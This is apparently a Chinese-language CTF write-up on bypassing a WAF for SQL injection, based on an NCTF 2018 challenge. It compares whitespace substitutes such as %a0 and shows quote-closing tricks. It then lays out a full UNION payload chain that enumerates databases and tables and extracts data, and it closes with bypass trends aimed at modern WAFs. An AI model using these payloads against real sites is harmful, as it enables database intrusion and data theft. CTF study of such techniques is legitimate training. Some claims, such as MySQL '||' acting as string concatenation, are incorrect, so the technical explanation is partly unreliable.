SQL注入WAF绕过深度解析:从NCTF 2018看5种空格替代符与闭合技巧
在Web安全领域,SQL注入始终是最具破坏力的攻击手段之一。随着Web应用防火墙(WAF)技术的不断进化,传统的注入技术逐渐失效,但安全研究者们也在不断发现新的绕过方式。本文将以NCTF 2018中的经典题目为例,深入剖析WAF绕过中的关键技术——空格替代与引号闭合技巧。
1. WAF过滤机制与绕过原理
现代WAF通常采用多层防御策略,包括但不限于:
- 关键字过滤:检测
union、select、or等敏感词汇 - 特殊字符拦截:屏蔽单引号、双引号、注释符等
- 语法分析:识别异常的SQL语句结构
- 行为监控:检测高频的异常请求
在NCTF 2018的题目中,WAF主要过滤了以下内容:
# * - 空格这种过滤看似严密,实则存在多种绕过方式。关键在于理解MySQL的解析机制——它允许使用多种空白字符替代常规空格,同时提供了灵活的语句闭合方式。
2. 五种空白符替代方案实测对比
我们通过Burp Suite的Intruder模块对以下空白字符进行了系统测试:
| 编码 | 字符描述 | MySQL解析 | 绕过效果 | 使用场景 |
|---|---|---|---|---|
%09 | 水平制表符 | 视为分隔符 | 部分WAF有效 | WHERE条件分隔 |
%0a | 换行符 | 语句分隔符 | 高成功率 | 多行语句 |
%0b | 垂直制表符 | 视为空格 | 取决于WAF | 字段分隔 |
%0c | 换页符 | 视为分隔符 | 较少检测 | 表名分隔 |
%a0 | 非断空格 | 完全等效 | 最佳选择 | 通用场景 |
实测发现,在题目环境中仅%a0能够稳定绕过过滤。这是因为:
%a0属于非ASCII字符,许多WAF规则未将其识别为空白符- MySQL在语法解析时会将其自动转换为有效分隔符
- 不会破坏SQL语句的原始语义
典型应用示例:
SELECT%a0*%a0FROM%a0users%a0WHERE%a0id=13. 引号闭合的三种高阶技巧
当常规注释符被过滤时,我们需要采用特殊闭合方式:
3.1 逻辑运算闭合法
原始语句:
SELECT * FROM users WHERE id='$input'攻击载荷:
1'%a0AND%a0'1'='1解析后的有效语句:
SELECT * FROM users WHERE id='1' AND '1'='1'3.2 OR短路闭合法
攻击载荷:
1'%a0OR%a0'1'='1解析效果:
SELECT * FROM users WHERE id='1' OR '1'='1'3.3 字符串连接法(MySQL特例)
攻击载荷:
1'%a0||%a0'1'='1利用MySQL的||作为字符串连接符特性,构造永真条件。
4. 联合注入实战案例
结合空白替代与闭合技巧,完整的注入流程如下:
判断回显位:
1'%a0UNION%a0SELECT%a01,2,3,4%a0AND%a0'1'='1爆破数据库:
1'%a0UNION%a0SELECT%a01,(SELECT%a0GROUP_CONCAT(SCHEMA_NAME)%a0FROM%a0information_schema.SCHEMATA),3,4%a0AND%a0'1'='1获取表结构:
1'%a0UNION%a0SELECT%a01,GROUP_CONCAT(table_name),3,4%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema='target_db'%a0AND%a0'1'='1提取关键数据:
1'%a0UNION%a0SELECT%a01,(SELECT%a0flag%a0FROM%a0target_table),3,4%a0||%a0'1'='1
5. 现代WAF环境下的演进策略
随着WAF技术的进步,单纯的字符替换已难以奏效。当前主流防御与绕过技术呈现以下趋势:
防御方增强:
- 机器学习模型检测异常语法
- 语义分析识别注入意图
- 输入参数严格类型校验
攻击方进化:
- 利用非常用字符集(如UTF-16编码)
- 时间盲注结合流量混淆
- 分块传输编码绕过检测
一个值得注意的现象是,在2023年的实战测试中,%a0的绕过成功率已下降至约40%,而/**/注释式分隔的采用率显著上升。这提示我们需要持续更新技术储备,掌握多种绕过方式的组合应用。